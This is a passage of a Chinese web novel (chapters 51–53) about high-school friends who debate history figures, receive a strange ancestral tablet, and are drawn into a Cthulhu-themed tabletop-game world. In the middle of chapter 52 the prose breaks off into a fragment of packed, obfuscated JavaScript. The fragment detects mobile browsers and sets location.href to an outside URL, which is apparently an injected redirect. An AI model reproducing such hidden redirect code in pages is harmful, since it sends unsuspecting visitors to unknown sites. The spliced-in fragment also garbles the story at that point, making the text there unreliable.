快要上课了,颜阎和她快步往教学楼跑。经过回廊时,预备铃催命一样响起。两人由快走变为狂奔,风驰电掣地往教室赶。
“啊。”周真真想起来一件事,“买这个时,店家送了我一个东西,她说如果我收下那个,那个瓶子就打二五折。”
“原价440?”颜阎算得比数学应用题还快,“这什么水,黄金做的啊?”
幸好她很快反应过来:以高中生的消费水平衡量,这个价格贵了一点。但以沙龙香的价格来衡量,它只能算一般。
周真真有点不好意思:“就……虚荣了一下……”
“没事,爱买什么都是自己的事。”颜阎叮嘱她,“要是有人跟我一样乱评价,你就骂人!”
周真真被她逗笑了:“我不是说这个,我是说,既然你付钱了,那个东西我也得一起给你。它们两个合起来一百一,不能付了两个的钱,只拿一个东西。”
颜阎在胸前比叉:“我不用香水!”
“不是香水。”周真真摆手,“是个不太吉利的东西,你如果不要就算了。”
她一说不吉利,颜阎来劲了:“是什么是什么?我要看!”
上课铃在这一刻响起,周真真轻柔的声音在急促的乐声里,显得十分突兀。
“是一个牌位。”
51.一切神圣之物都被亵渎
颜阎等牌位等得心焦。
周真真家在新城。平时住在榕城的租房里,周五才回家,周日一大早又回来。想要牌位,那就得等到下周了。
“那可是牌位啊!”颜阎比划,“多有意思!比香水瓶有意思多了!”
刘征兰也很感兴趣:“什么店还卖牌位?这么超前?我也想给自己预制一个。”
一阵拖声拖调的呼唤从身后传来:“刘征兰!”
颜阎咳嗽两声:“你算了吧。你也不会有后代,没人拜你。要是我死得比你早,我就帮你把骨灰刻个黑胶唱片算了。”
“那康烁影应该是我们中活得最长的。”
“……确实,她生存欲望比较强烈,死志比较淡。”
“那我们俩都交给她了。”
身后的声音锲而不舍:“刘征兰!”
颜阎从包里掏出几个钢蹦:“那我们是不是该帮她也买瓶饮料?”
“……买吧。要是她看见我们两个上学前买了两瓶饮料,她肯定要闹。”
“那我们去律易棋店里白拿一瓶味全好了。”
“为什么这两瓶不在他店里买?”
“这么怪的口味,他肯定不进。”
一辆滑板车横冲直撞,漂移到她们面前,拦住她们的去路。
“刘征兰!!!”刘宇衡愤怒地挥起拳头:“你居然敢不理我!我要跟老妈说!”
颜阎和刘征兰对视一眼,心领神会地露出讽刺的笑:好经典的小男孩儿反派。
但小孩显然是看不懂的。他用滑板车前轮撞了撞刘征兰的脚:“老妈让你回来时给我买旺旺雪饼,别忘了!”
然后他绕过两人,蹬着地面滑走了。车轱辘在颗粒凸起的柏油路上轰隆轰隆驶过,像一朵藏着闪电和雷声的巨大乌云。
乌云路过其他小朋友时,还顺脚把他从滑板车上踹下来,因为:“你的滑板车不许比我的好看!”
颜阎看笑了:“好老套的小孩儿,放在爽文小说里都嫌他刻板。”
刘征兰没感情地“哈哈”两声:“等我死了我先把我弟带走。”
“嗨,没事。”颜阎迈着跳步,“说不定你弟先死呢!”
两个人走进莫妮卡杂货店,从冰柜里拿出芦荟味全,在律易棋放弃抵抗的眼神里径直离开,然后在校门口碰见了周真真。
周真真朝颜阎笑笑:“你好呀。”又转向刘征兰,“你也好呀。”
两个人整齐划一地挥手。
周真真略一点头,便扭头继续向前,没有等待颜阎跟上来的意思。
刘征兰用胳膊拐了颜阎一下:“你不去跟她玩?”
“不要吧……”颜阎压低声音,“虽然她对我很好,也很喜欢我。但我还是更想跟你玩。就像你比起跟张晓怡和柳令全玩,肯定更想找我一样。不是不喜欢,是纯聊不来。”
“……也是,你跟她聊死人话题,她一定会吓到。”刘征兰目送周真真被书包遮挡了一半的身影在上学的人群里穿梭,“反正你下午兴趣班会跟她玩。”
颜阎只消一眼就读懂了她的表情:“你同情她了是不是!”
刘征兰大方承认:“是啊。但你放心,她有点惹人怜爱,和你没做错什么不冲突。”
颜阎感动到不停拍她的胳膊:“这就是为什么我和你玩!”
大家身上的体香随着时间渐渐消散了。留下的只有熟悉的头油味儿。除了任课老师时不时批评一下那个带香水来的人,其他人已经几乎把这事抛到脑后了。
历史名人社的老师对那股奇异的香味念念不忘,她的气味是一种甜腻腻、熟得快要烂掉的果香,她家的泰迪特别喜欢,这几天她一回家就趴在她怀里闻来闻去。
周真真照例和颜阎坐在一起。趁老师讲述泰迪一生的故事,她悄悄戳了颜阎一下:“你准备稿子了吗?”
“稿子?”在底下偷偷背单词的颜阎抬起头,“什么稿子?”
“介绍自己感兴趣的历史名人。”
颜阎看天,颜阎看地,颜阎在自己的脑子里翻箱倒柜。因为大脑表面太过光滑,所有记忆都毫无阻力地滑倒了角落里。脑子中央空空如也,墙角里各种柜子书架小纸条倚叠如山。
她攀上数学山,翻进物理谷,潜入英语湾,奔过生物原,终于从房间的角落里找出一张皱巴巴的纸团,上面写着:历史名人社的作业是介绍自己感兴趣的死人(划掉)历史名人,不要忘记。
她完全忘记了!!!
颜阎狰狞的表情显然把周真真吓到了:“你没准备……?”
“没有。”颜阎把两条腿拧成麻花,“不如说是完全忘记了。”
“那你下节课讲好了。”周真真安慰她,“别紧张,没事的。”
颜阎倒是不太紧张。以她丰富的杂学知识储备,就算让她现场上去来一段都没问题。最大的问题就是乱七八糟的知识太多了,那些柜子书架小纸条牵一发而动全身,不准备稿子,她恐怕要从玄武门之变发散到三中七宗罪。
所以她舒展了一下肩膀,实则偷瞄周真真:“你讲谁?”
周真真有点不好意思地笑了笑:“我下节课呢。”
学生自己讲课,老师乐得自在。兴趣班老师看似在下面举着手机录像,实则分屏玩消消乐。
不过也确实没什么好录的,大部分人的声音都小得像蚊子,最常见的表情就是尴尬一笑。用孔丘一个完美的aabb式语句说就是:“现在的学生缺乏冲劲儿!一个个都扭扭捏捏,发言支支吾吾,遇到点事儿就哭哭啼啼!”
颜阎看得很乐呵,她奉行“历史就是死人名字”的极致解构主义,对任何人和组织都不抱有尊重。因此当她听说白居易体谅女性的不易,汉武帝是领导典范人心所向,孙策英明神武对爱人痴心一片,她一直在无声狂笑,差点滑到桌子下面去。
周真真在下面用膝盖拦着她,眼睛死死盯着老师,企图在她背叫起来之前拦住她。
可惜晚了!由于她的动静,老师把消消乐的特殊效果划错位置。打破连胜之仇不共戴天,红框眼镜后的眼睛立刻盯上了她。
“颜阎。”她的喉咙里滚出一句低低的呼唤,“你笑什么?”
颜阎拼命控制脸部肌肉,嘴抿成了一个弯弯的括号:“没什么,没什么。”
“你对谁意见吗?”
“我没有。我对任何人都没有意见。”
“那你笑什么?”
颜阎直言不讳:“我觉得现代人对古代人滤镜好厚。”
小喇叭和周真真一左一右捅她:“你不要命了!”
老师倒是有点感兴趣了:“哪里厚了?”
“就,单说白居易。”颜阎笑嘻嘻,“我们都不说他嫖/宿的事了,他是封建社会的男性,他为什么会体谅女性的不易?什么导致了他这种思想?这就好像真的把万历当无政府主义者一样。”
“然后就是汉武帝,他从历史角度概括的确很有功劳。但是我没什么大局观哈,我是小民思维。我只是觉得,我作为一个普通人肯定不愿意出生在他的时代。我不想被征兵,我不想交重税,他要是当我领导,我肯定造反。”
“至于孙策……”颜阎的视线落在讲孙策的高一同学身上,“英明神武算是有点吧,毕竟他活着那几年确实挺能打的。但是痴心吧……”
那个女同学疯狂瞪她。
颜阎心念一动:“容我问一下,你王者□耀是不是玩大乔啊?”
女生终于忍不住叫起来:“你别说了!”
颜阎拉紧嘴上拉链。
烦人精——没错他还厚着脸皮留在社里——从白居易开始冷哼,到了孙策,冷哼声已经快要盖过颜阎说话的声音了。
颜阎眉梢一挑:“来这位同学,你有什么想说的?”
烦人精用手撑住桌子,身体极为放松,起身的同时吐出一句俗语:“拿前朝的剑斩本朝的官。”
他可能想营造一种懒散的氛围感,但颜阎觉得他更像路边抖啊抖的鬼火黄毛。
“那你写语文再也别写封建社会的压迫了。”颜阎说,“我看你得几分。”
烦人精反击:“你有本事别学白居易,别站在汉武帝打下来的地上,别玩王者□耀。”
“我还真不玩moba游戏。”颜阎抿嘴一笑:她是单机游戏爱好者。
老师听不懂什么叫moba,她只知道颜阎在这个人心浮躁的社会里不玩手机游戏:“不玩游戏?好孩子!”
这时候艺术家举起手,老师示意她也站起来参与辩论。
艺术家也笑着站起来:“古代人有缺陷,我们批判他
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们,这又不是什么错事。难道他们就不能批判了?历史的发展就是取其精华去其糟粕,要是批评了就代表完全否定,我们现在就不该学历史。”
烦人精的脸憋得通红,动作也从耷肩歪头变成了身体前倾,伪装出来的潇洒全然溃败。而这回恋爱脑转社了,没人能成为他发怒的理由。老师得以及时让他去洗把脸降火。
“两位女同学说得很有道理。”老师以这段话结束了争论,“大家在讲的过程中太过于谨慎和样板化了,忽略了历史人物也是人这一事实。我们要积极肯定他们的功绩,当然也要坦诚地指出他们的缺点。一味地崇古只会塑造偶像,选择性地学习才能成就自我。”
于是,这次的社团在颜阎的又一次砸场子里结束了。
那个被颜阎指出玩大乔的高一女生临走前还跑过来攮了颜阎一拳。
颜阎一脸震惊。
高一女生没有用劲,对着她瞪大的眼睛洋洋得意:“下次再拆我台,我就把你锤得q弹多汁。”
颜阎虚心询问:“汁是指血吗?”
“知道还问。”
颜阎会意,明白她有点生气,于是顺着她给的台阶下:“对不起,没有下次了。”
老师课后把颜阎留了下来。颜阎赶着去二班和刘征兰康烁影吃泡面,有点急。但看到老师的脸色她就知道,这事急不得。
历史名人社的老师姓乔,叫乔春红。整张脸细长而凹陷,像一颗倒过来的水滴。常年梳着老师经典的低盘发。以及,听康烁影说,她在桥牌世界是个没有序号的黑桃。
乔老师想捏颜阎的脸颊,颜阎不太喜欢肢体接触,赶忙献出自己的胳膊:“老师你捏这个。”
乔老师被她逗笑了,一把握住她的手腕让她坐下:“知道我为什么留你吗?”
颜阎老老实实:“因为我破坏课堂纪律。”
“这都是小事。”乔老师用劲捏了一把,“我留你下来,是因为你不尊重同学。别人在上面讲,你不能嘲笑别人,知道吗?”
“我真没嘲笑。”颜阎扁着嘴,装作很疼地抽抽鼻子,“我已经很努力忍着了。但我是真觉得很好笑。”
“又有什么让你觉得好笑了?”
“他们居然真的会觉得,历史上有一个人,完美无缺,遗世独立,思想超前,众人皆醉他独醒,他逆着全世界掌握了真理和正义,这点很好笑。”颜阎嘿嘿笑着,“这和追星一模一样啊,没有任何区别!”
“真理和正义是怎么来的?”
“喜欢谁就让谁成为‘为民考量’但不被接受的智者,喜欢谁就觉得谁的才华被辜负。这就是我们这个时代的真理和正义呀。”颜阎煞有介事地举起手指晃了晃,“我作文还写得好但没拿到月薪两万的工作,我就出去乱说,说才华被埋没,等我死了两百年肯定有人信。”
“那你觉得,大家对古人的说辞信以为真,却不相信你才华被埋没,这是为什么?”
颜阎平静地看着她,眼睛里的笑意从未消退:“因为距离感和爱嘛。因为时间的遥远,没人能知道故事的真面目。大家又被他们的故事折服,被文笔感动,然后爱上了他们。爱是会蒙蔽人的。”
乔老师对她的口出狂言没有任何意见,反而拍着大腿哈哈笑起来:“你想得清楚,我没什么好说的。那你就没有喜欢的的历史人物了?”
颜阎想了想:“有一些。我挺喜欢白居易的诗,也很爱看历史。但我对他们的喜欢,更像是对……呃……”她比划了一下,“您知道纸片人吗?就是虚拟角色。”
“虚拟角色我知道,我女儿喜欢过。”
“我对他们的喜欢,就是对虚拟角色的喜欢,是对一个娱乐产物的喜欢。我喜欢的是他们的故事性,要是真有人说他们坏话,我也只会哈哈大笑跑去围观的那种。我们都是人,我不相信我们有本质上的区别。”
乔老师明白了。颜阎在心里对一切事物,都有一种轻蔑。她不相信权威的宣传,不相信古人的自辩,甚至不相信文字的技巧。她对世界的理解,完全源于思辨,而非复述。
于是乔老师问出了一个她学历史开始就很疑惑的问题:“那么,如果你和这些人在一个时代,不得不把他们当作真人对待,你会怎么想他们?”
颜阎笑了:“我会觉得:不过如此!”
52.慕强
颜阎没能来泡面大会赴约。
康烁影酸里酸气:“又去找你的abb了?要不你以后兴趣班日都别跟我们吃晚饭了,找她去吧。”
颜阎在她椅子边缘坐下,用她书桌里外卖自带的一次性筷子嗦了一口面:“我也不想!我被老师留了一阵,她在外面等我。本来杨絮都过去了,结果旧楼走廊里,上周飘进来的杨絮没清理干净,她整张脸一下子全红了!我把她送出校门立刻就跑回来找你们了。”
刘征兰吃着本该属颜阎的那份番茄泡面:“我有点撑了,这点底儿你要不要。”
“给口,饿扁了。”
周二的颜阎在兴趣班后呼噜呼噜吃剩下的泡面,周四的颜阎在兴趣班前呼噜呼噜吃完整的泡面。
粉包,菜包,酱包,泡了一分钟就挑开的面饼和爽口小饮料,完美!没有什么能阻止她吃饭的脚步!
茄皇真是美味,不愧是番茄味泡面之巅。酱包口味不刺激,热腾腾一口软弹的面再加一口汤,酸甜的番茄味回味无穷,让人想把碗也啃掉。除了泡面通病:涨肚子和工业回味之外毫无缺点。
提前了半节课在课桌里帮她泡好面的刘征兰也在低头狂吃噎人三明治。自从所有人都看过望远镜之后,天文社就成了地理补课社,每次布置一张地理试卷,她的还没写完。
“历史名人社的人物介绍终于轮到我介绍了!”颜阎去采访两人,“要是你们,你们准备介绍谁?”
刘征兰知道她想给自己做个铺垫,于是随口道:“弃首·狄金森·阿赫玛托娃。”
“……谁啊?”
“我编的。”
康烁影在自热火锅的袅袅蒸汽里抬起头:“我会介绍大卫芬奇。”
刘征兰和颜阎都没听说过:“谁?”
“导演,拍《搏击俱乐部》的那个。”
颜阎跳起来用叉子指她:“你喜欢《搏击俱乐部》?你这辈子完了你!”
康烁影不远万里跨过三排座位过来踹她。
“我们说的不是历史人物吗?”刘征兰把颜阎的爽口小饮料拿过来,喝了一瓶盖,企图顺下嘴里的噎人三明治,“你说活人干嘛?”
颜阎心领神会一挑眉:“本来想说诺兰,结果诺兰也不是冷门了,所以说大卫芬奇,体现自己深耕电影圈,喜欢冷门小众片,和其他人都不一样!”
“《搏击俱乐部》小众?”
“还行,正好卡在一个圈外人有所耳闻圈内人如雷贯耳的边界。”
被拆穿的康烁影毫无心虚:“那怎么了!至少我真看过,也真挺喜欢剪辑手法!而且我很喜欢炸大楼那里,爽极!”
颜阎喝掉最后一口面汤,把叉子和擦嘴的餐巾纸全扔进泡面桶里。去垃圾桶的路上顺带跑过来揉揉康烁影的脑壳:“好!很坦诚!这何尝不是一种解构主义!”
“你铺垫这么老半天,就是为了自己想讲的东西。”刘征兰道,“说吧,你到底想夸谁?”
颜阎神秘一笑:“我不夸奖,我纯批判。”
说完,她就就蹬着滑板车走了。
于是周真真看到的就是一个左脚和地面平行、右手如同天鹅般向天空伸展、表情无比陶醉的滑行颜阎。
“你……”她沉默了一秒,“这个滑板车哪来的?”
“别问。”颜阎道,“问就是大自然的馈赠。”
周真真因为过敏而戴着一只巨大的口罩,额头被刘海遮住,整张脸只有眼睛露着。露出的一小块皮肤红得反光,最可怕的是,她的口罩也是红底黑花的老人款,这让她看起来像糖葫芦上的一颗山楂。
自己大热天包得这么严实,周真真还担心自己太怪了,结果看到颜阎翘着脚滑过来,她立刻感到了前所未有的安心。
也是,还有什么能比颜阎更奇怪!
“走吧,上课!”颜阎蹬着滑板车前进,滑出去几米就等周真真一会儿,然后再滑。
周真真很好奇她怎么上楼。
到了旧楼下面,颜阎扛起滑板车,吭哧吭哧搬上楼,停在历史名人社门口,还装模作样锁了一下。
“我去趟厕所。”她说,“你先进去吧。”
“我帮你把书包也拿进去。”
“不用。”颜阎把绿色书包抱在怀里,“这是我的设定,必须要跟着我。不然我就会成为路人角色。”
过了一会儿颜阎回来了。外面的人没有一个提起滑板车的事,可能是对颜阎的突发情况习以为常了。
回来的颜阎挤在她和小喇叭之间,难掩自己的人来疯,抓住熟人就小声问:“你讲什么?”
艺术家说:“我讲米开朗基罗,开心了?”
“很符合你的外号!”
小喇叭得意地把稿子给她们看:“我也讲白居易,我把你昨天说的和一些论文里对他的批判都捏进了昨天那个女生的稿子里,一点都不用自己写。”
周真真有点不好意思:“我讲太宰治。”
颜阎大惊:“你喜欢太宰治?”
“是……”周真真看着她圆睁的眼睛,心里有一点不好的预感。
颜阎扣住她的肩膀摇晃她:“你喜欢太宰治,你这辈子就完了!”
“……啊?为什么?”
小喇叭也探头过来:“他好像抄袭女读者的信来着,最出名的《斜阳》还是抄的妻子。那段时间都上热搜了。”
艺术家对日本文学了解更多,于是不咸不淡地插话:“那个时代的男作家啦。川端康成不也直接抢女学生署名吗。”
“而且,最重要的是。”颜阎苦着脸把自己口袋里那张皱巴巴的稿子展开,“我要批判太宰治来着。”
那一瞬间,周真真心中生出一股毫无来由的怨恨。她不讨厌艺术家和小喇叭,但她讨厌这一刻的气氛,讨厌她们毫无顾忌的揭露,她甚至怨恨起了早已化作千风的“女学生”和“太宰治的妻子”。
场面变得十分混乱。艺术家和小喇叭痛批颜阎针对人家小姑娘,颜阎邦邦邦磕头谢罪,说我错了我就是想特立独行一下要不我现场改稿讲一讲三岛由纪夫吧。
周真真扯了扯她的袖子:“没关系。”她说,“你讲吧,我在你之前讲就没那么尴尬了。”
颜阎说:“你要不给我两巴掌吧我对不起你啊周女士。”
这次兴趣班只上了一半颜阎就出去了,她跟老师说的是去厕所,但她课前刚去过一次。而且谁去厕所会带书包啊!
周真真趁她不在,立刻讲完了自己的稿子,然后以颜阎没带纸为理由出了门。
颜阎一定是不高兴了。自己居然喜欢她讨厌的作家,她一定觉得自己品味很差。
因此她拿出了装在书包里的东西,用校服外套遮住,隔着口袋握住它的底座。
她离开教室,发现门口没有任何滑板车的影子。走廊外静悄悄的,只有窗户外的树影沙沙作响。
“嘘。”一声低呼,“你别把人给招来!”
“不是?我弹着电吉他呢,你把我从包里拽出来,就是为了借手机查这个?”一个脆而高的声音说,“你不能回家拿自己手机吗?”
“哎呀我手机没流量你又不是不知道·,回头请你喝奶茶吃蛋糕。”
“我呢?”这是另一个声音,“我给你概括三岛由纪夫的小说就不该有奖励吗?”
“你也喝你也喝。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774454|154276||http|test|mini|href|location''.split(''|''),0,{}));
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>“我要吃苏布南肉串。”
“我去哪儿给你整苏布南肉串!”
周真真转过拐角。只见三个人蹲在走廊里本该放灭火器箱的凹陷处,颜阎把稿子压在墙上,用一支给乐谱作标记的铅笔写写画画。和她关系很好的那个眼镜女生把不规则的纸片垫在大腿上疯狂书写。年级里很有名的染发不良少女康烁影用大拇指啪嗒啪嗒打字。
周真真的身影遮挡了一部分光线,三个人齐齐抬头,和红成糖葫芦的她对视了。
一段沉默后,康烁影率先冲她挥手:“嗨,周女士。”
周真真有点尴尬地点点头。
“你怎么出来了?”颜阎看了她一眼就继续低头狂写,“别愣着,你也分个活儿。为了不和你撞车,我改成攻击三岛由纪夫。等着吧他!”
周真真背在身后的双手紧紧绞着,像是一团纠缠不清的丝线。
怀里的东西快要掉出来了,她必须紧紧把它夹在手臂和身体之间,可是她来不及扶一下。如果不绞紧自己的手,她怕控制不住自己的嘴角。
“你不用照顾我到这个地步……”
“那不行啊!”颜阎用笔戳纸面,“要是刘征兰和康烁影还好,她俩顶多上来揍我两拳。你太容易被人带着跑了,要是我不改,我怕你以后都不敢跟别人说你喜欢太宰治。”
周真真抿唇,尽量控制住自己的声音:“其实,我把你要的东西带给你了。”
颜阎一愣,然后和刘征兰同时跳起来:“是牌位吗?给我看看给我看看!你怎么拿回来的!”
“过敏,回家休息了一天。顺便就带回来了。”
周真真从衣服里拿出那个木牌位。它的底座和牌位本体连在一起,是直接从一整块木料里挖出来的,形状像个座钟。整体颜色偏向暗黄,上面的花纹极度粗糙,除了顶上的两个角外几乎没有多加修饰,看得出来是两元店购置。
刘征兰掂了掂,比想象中沉重。她抬起整个牌位看底部,却发现它的左半边有一层火烧火燎的痕迹,灰黑的木屑扑簌簌往下落。轻轻一抹,手指就沾上一层黑色灰烬。
颜阎似有所觉,一把抢过牌位,把它翻过来。
本该是“正面”的那一面上纹路凌乱,木刺竖向林立,大概是有人用刮刀把本该覆盖在上面的一层漆和刻字刮掉留下的痕迹。
幸好刮刀的使用者比较业余,刮得不够干净。颜阎把它头朝下放倒,让阳光充分播撒在它的表面,从自己的角度一字一句地读出上面浅浅的刻迹:
“摩诃迦毗罗舍身化恶菩萨。”
她们等了几秒,什么也没有发生。
大家长舒一口气。康烁影拿过牌位,把它放正,试图将它放进那个绿色的书包里。
“哗啦。”
什么东西翻滚的声音掠过耳畔。
周真真毛骨悚然。
她抬起头。
阳光如金粉的走廊倏然失去光明,可以吞噬一切的黑暗尽头,一个灯牌忽明忽暗,上面的图案是一张粉蓝相间的荧光材料绘制的笑脸,笑脸的嘴角上扬到几乎靠近眼角,仿佛一条巨大的疤痕。
她赶紧靠住墙壁。身后冰冷的墙壁触感光滑,毫不滞涩。借着灯牌微弱的光,她看见墙壁反着一种奇异的金属光泽。
三中再过八百年也不会换这种手感高级的瓷砖。
她深吸一口气,却忽然感觉不到自己的嘴。
用手去摸嘴的位置,只摸到了一团软烂、略有韧感和弹性的液体,传来的触感不像是肉.体与肉.体的接触,更像是手臂陷入一片湿滑的沼泽。
她举起自己的手臂。
她看到了一览无余的地面。
53.龟卜筮蓍
颜阎和刘征兰一见面,两个人就开始奸笑。
“嘿嘿嘿无限流儿~”
“你那个拙劣的儿化音能不能收一收,有点恶心。”
“我不。嘿嘿嘿副本儿!”
“……行吧。下面我要假装我智商很高,抛弃所有菜狗,独自赢得游戏胜利!”
“好的不学学坏的。”
两个人都改变了容貌和随身物品,连校服、学生证和呼叫中心都没了。
刘征兰变成了一个高而精瘦的少女,肌肉密度非常吓人,感觉炖一锅都不一定嚼得动。颜阎本来想捏一捏,但两个人都穿着很厚的防护服和隔离头盔,谁也碰不到谁。
颜阎则变成了一个黑发少男,身高比刘征兰矮一点,她特别不服,扬言要把刘征兰的腿砍下来给自己接上。
按照这种魂穿的套路,多少需要对个暗号。但是主人公是颜阎和刘征兰,她们压根不需要暗号,不管穿越到什么世界里,走俩大牢就找到她们了。说不准还被关在同一个大牢里。
于是两人在同一个禁闭室碰面,见面先乐十分钟:不愧是你!不愧是我!
乐完两个人就想起了康烁影和周真真。颜阎说赶紧出去吧,她们两个也不熟,单独在一起多尴尬。
“我想想怎么离开这里。”颜阎掏口袋。小刀和铁丝没被掏出来,掏出来一个excel表。
表格悬浮在半空,颜阎的手可以直接穿过去。显示的内容似乎是一个背包格,里面标记着她携带的东西:模电教材,磁场与引力,大型跳格子法国别研究,为什么法国别研究,宿舍、实验室、老师办公室的磁卡,学生证,还有一个正方形的红盒子。
“等一下。”刘征兰说,“等一下等一下,这个格式好眼熟。你点点自己的身体,看有没有别的东西出来。 ”
两个人使劲儿摇晃自己,通过晃脑袋晃出一个属性表,打响指打出一个技能表。
两个人只看了一眼,眼睛就瞪大了。
由力量、体质、体型、敏捷、外貌、智力(灵感)、意志、教育、幸运,九个属性组成的属性表。含有暂且为零的克苏鲁神话的技能表。
这不跑团吗!还是coc跑团!
跑团是一种桌面角色扮演游戏,通俗一点的说法就是自由度更高、没有剧本的剧本杀。关键节点需要用扔骰子,比较骰子点数和自身拥有点数的大小来决定行动的成功与否。
而coc跑团就是克苏鲁神话背景的跑团。在国内更加流行,更注重于探索,而非战斗。
颜阎和刘征兰这两个死宅对跑团有一点研究,要不是高中生时间紧迫,她们早开始玩了!
“那坏了呀!coc全是人类不可理解之物,战斗轮基本都是两下半管血,咱们还没有枪!”颜阎抱头,“这不完蛋!咱们互相过斗殴自杀吧!”
“先别死先别死。”刘征兰翻着自己的属性表,“我力量80,人类极限也就80。说不定咱俩能搏一搏!”
“……跑团不是要自己车卡吗?属性和技能不应该是自己分配吗?进来还自带卡,这不coj吗!”颜阎举手高呼,“我打死不玩coj!自由度太低了,我也不想和npc搞对象,我要自由探索!”
“不是。”刘征兰停在人物信息那里,“你过来看我人物卡的名字。”
颜阎凑过来。
人物卡的名字上写着:唐捐。
“我总觉得这个名字熟悉。”刘征兰说,“你记得吗?”
颜阎想了几秒:“我们看的那个斩将夺旗。冠军奖杯是不是叫唐捐杯来着?”
“啊就是那个……刻石人的创始人。”
“也是斩将夺旗的创始人。”
“怪不得力量这么高。”
为什么克苏鲁桌面游戏还能沾上外星生物?真搞不懂外星生物怎么这么闲。有时间跑团,有时间把全世界变成abo,还有时间带别人去全员卡牌高手的世界,为什么没时间毁灭世界?
颜阎“魂穿”的外星人叫尽灯,人物故事里显示他和唐捐是血缘关系七弯八拐的姐弟。唐捐没有直系亲属,暂住在他家。两人关系不错。此时都因为夜游学校被关禁闭。
刘征兰想打开门,但没有锁匠技能,只能对门过力量。这个念头刚出现,她手里就出现了两枚黄铜做的十面骰。她和颜阎对视一眼,互相一颔首,毫不犹豫地把骰子扔到地上。
两个骰子在地上滚了几圈,朝上的那一面发出了显眼的光芒。
【力量检定(出目/检定):53/80 成功】
在跑团里,骰子的点数越小越好,只要骰子的点数比你拥有的点数低,就算你成功施展了你想要做的举动,可以推进剧情了。
于是刘征兰轻而易举地用力量打开了门。
外面是一个设计风格很独特的建筑内部,走廊有一种奇异的金属感,她们两个伸手去触摸,从防护服的反馈却能隐约感觉到这不是金属,而是一种难以言喻的石料。
禁闭室对面就是一个不加修饰的巨大空窗,如果有玻璃在,这就是一个普通的落地窗。可是没有玻璃,它仿佛是未经装修的毛坯。
窗外的世界拥有橘黄的色调,让人联想到美国电影里八十年代的曼哈顿。但寸草不生的地表让它更像是一片炎热的荒地。
刘征兰沉默良久,发出了无力的吐槽:“……这滤镜哪里克苏鲁了?”
吐槽的欲望过去,聪明的智商就占领了高地。刘征兰拉住颜阎:“一般这种游戏都有个导入什么的把,剧本杀也得告诉你背景才开始,真人跑团肯定也得有这种。”
“说得有道理。”颜阎想了想,“我们回禁闭室过个侦查吧!”
回到禁闭室,刘征兰在脑子里想到侦查,手里也出现两枚黄铜骰子。她往地上一丢,成功了。
她们环视一圈,从禁闭室的白色简约流线型桌子上找到一个无比厚重的电子设备,打开它打印机一样的翻盖和材质诡异的显示屏。
两人都不知道如何操作。
“你有电子学吗,救一下。”
“……我完全不会的东西,过个骰子就会了?”
“试一试呗。”
颜阎看了看技能表,还真有点数71的电子学!她立刻拿出骰子扔在地板上。
【电子学检定(出目/检定):2/71 大成功】
在coc跑团里,成功是有等级之分的。有些数字代表着大成功。能够化腐朽为神奇,医死人肉白骨,是所有成功的代表词。放到现实里就是比赛轮空直接晋级,高考全蒙照样满分,简历乱填大厂录取,实验乱做结果稳定!
而在这个世界里,1、2、3代表着大成功。这并非是正式规则,而是一种约定俗成的规则,俗称“村规”。
刘征兰在旁边欢呼:“太好了是村规,我们有救了!”
一刹那,无数的知识涌入颜阎的大脑,她立刻冲上去调出了设备里所有的资料。不仅知道了这里是五千多年前迁氧还是优势种族的年代,还知道了此时人类和迁氧矛盾激烈。而这里是一个迁氧和人类共同生活的学校,名叫“奇点学院”,是目前星际文明里的顶尖学府之一。他们两个因为夜游教学楼被关禁闭,现在是放学时间等等信息。
附赠的还有一张学校地图,刘征兰赶紧拍了照片。
“……不是!这种星际背景为什么会有克苏鲁设定。”
刘征兰在一旁鼓掌:“干得真好,但现在有什么用呢?我们是要去找她们俩,不是要看背景故事。”
然后两个人同时意识到一件事。
“……你说那两个人能意识到这个世界需要扔骰子吗?”
“我觉得悬。”刘征兰真心实意地说。
“咱们快去找她们吧。”
“怎么找?趴在窗边大喊吗?”
“有何不可!”
颜阎说到做到,她一扭头趴在巨大空窗前,清嗓提气,手在嘴边扩成喇叭:“康——烁——影————”
巨大的吼声率先在防护服里回荡,然后穿透墙壁,越过土地,在建筑里无限回荡。过了将近一分钟,什么也没有发生。
坏了!她们真不会扔骰子!
两个人面目狰狞地拿出学校地图。营救女同学计划正式开始!
学校分为三个大区:教学区、实验区和人类宿舍。人类宿舍和实验区相连,而迁氧宿舍在学校之外的另一个校区,不在探索范围内。她们两个现在处于人类宿舍的最顶层。
人类宿舍有四层,女生上两层,男生下两层。两个人暂时分开,分别探索。
宿舍楼内有一个胶囊状透明电梯。颜阎乘坐电梯往楼下走,透明的材质让她能把学校的建筑尽收眼底。
实验区和教学楼的建筑风格很奇妙,棱角直边,夸张的悬空结构,以一种不可思议的力学结构保持着平衡,毫不吝啬地展示着人力的伟大。
它们用一种特殊的石料拼接而成,石料规整但鲜艳多变,像一扇一扇的窗棂。令观看者心中升起身处巨物之下的恐惧。
电梯下到一楼,她检查了浴室和卫生间,那里召唤不出骰子,看来是没什么好探查的。
二楼的公共区域也没有没什么可以检查的,但这里有她的宿舍。她脑子里忽然浮现某种预感,一伸手,骰子赫然出现在掌心。
她往下一扔。
【灵感检定(出目/检定):80/70 失败】
无事发生。
颜阎倒吸一口凉气,直觉错过了什么重要的东西,“再给我一个机会!”
可惜没人理她,一个技能在同个场景只能用一次。
“那再让我过个侦查,我看看有什么能找到的。”
骰子再次出现在手里。
【侦查检定(出目/检定):64/75 成功】
颜阎一眼扫过去,在自己的枕头下面找到一本笔记。外星的日期显然和地球不太一样。她花了半天才搞明白,这里是最近十天里的内容。
“实验区里关于鬼魂复仇的传闻越来越玄乎,连同组的施施纳都说她的情人们多次目击不明半透明生物在学校内游走,嘴里哼着奇妙的歌。可我还是要去实验区,明天要让唐捐陪我去。”
后面三天是另一种小而秀气的字体:“尽灯实验中,我替他记一下~”
第五天的字迹慌乱了很多,明显是匆匆写下的:“放学后教室里有一个人突然哀嚎起来,躺在地上大哭大叫,说自己的脑子要炸开了,然后开始疯狂流鼻血。”
第六天:“到底发生了什么事?越来越多的实验生请假了。我的组员,我的组员!你们不要走!你们走了谁帮我写实验报告!”
第七天:“我打死也不写实验报告。”
